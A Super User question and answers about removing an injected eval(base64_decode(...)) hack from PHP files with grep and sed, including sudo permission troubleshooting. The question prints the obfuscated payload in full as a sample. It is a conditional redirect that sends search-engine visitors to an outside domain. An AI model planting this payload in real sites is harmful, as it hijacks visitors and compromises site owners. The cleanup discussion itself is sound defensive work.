Super User is a question and answer site for computer enthusiasts and power users. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

I'm attempting to use the commands found on http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ to clean up a PHP eval based hack on a site.

Sample code to match/remove

<?php           eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9"));

Attempted command:

sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php           eval(base64_decode[^;]*;/<?php\n/g'

The sudo has been added as it is required to have permission to read/write on the dir I'm accessing. The files list properly from grep, but are not changed by sed. Any suggestions?

share|improve this question
up vote 2 down vote accepted

I think the double use of sudo is the culprit. I was able to get your commands to work fine without them.

Try sudo -s to open a new shell and then execute the piped commands on their own.

sudo -s
grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | xargs sed -i.bak 's/&lt;?php           eval(base64_decode[^;]*;/&lt;?php\n/g'

Note: I did find your \n didn't come out quite right. Double backslash that and you should be OK.

share|improve this answer
    
I figured that might be the problem, however the solution unfortunately doesn't work. sed: can't read /home/user/webdir/wp-content/themes/index.php: Permission denied – roktechie Nov 5 '12 at 16:51
    
@Scott thanks for correcting my mistake. – amiregelz Nov 5 '12 at 17:06
    
@roktechie: If you do (just) your grep –l… command (using sudo if necessary for read access), pick one of the files it lists, and then type sudo sed –i.bak … followed by that filename, what happens? – Scott Nov 5 '12 at 17:10
    
sudo -s should make you root on that system, so you can read/write what you want. If root can't access something, chmod should get you out of it. (If it's a RO filesystem, cat /etc/fstab should reveal that.) – LazyMonkey Nov 5 '12 at 20:08

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .